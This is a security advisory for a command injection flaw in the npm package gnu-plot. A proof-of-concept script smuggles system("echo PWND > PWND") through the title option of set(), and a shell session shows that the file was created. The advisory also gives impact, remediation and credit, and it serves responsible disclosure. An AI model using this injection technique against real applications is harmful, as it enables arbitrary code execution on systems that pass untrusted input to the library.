Summary
A Gnuplot Command Injection vulnerability was discovered in
gnu-plot through set(), plot(),
and splot().
Product
All versions of gnu-plot currently published on NPM.
Impact
It’s possible to inject malicious Gnuplot code, which may lead to arbitrary
remote code execution if a user of the library calls the vulnerable functions
with untrusted input.
Steps to reproduce
root@1534826f7827:/poc# rm -rf PWND
root@1534826f7827:/poc# ls -1
node_modules
package-lock.json
package.json
poc.js
root@1534826f7827:/poc# cat poc.js
require('gnu-plot')()
.set({
term:"png size 800,600",
output:"plot.png",
title: 'system("echo PWND > PWND")'
})
.plot([{
'data': [[0,0],[1,1],[2,0]]
}])
root@1534826f7827:/poc# node poc.js
[GNUPLOT ERR] line 0: internal error : STRING operator applied to non-STRING type
^C
root@1534826f7827:/poc# cat PWND
PWND
root@1534826f7827:/poc# ls -1
PWND
node_modules
package-lock.json
package.json
poc.jsRemediation
There are currently no fixed versions released. As a workaround, avoid passing
untrusted input into the vulnerable functions when using the library.
Credit
This issue was discovered and reported by Checkmarx SCA Security Researcher
André Sá.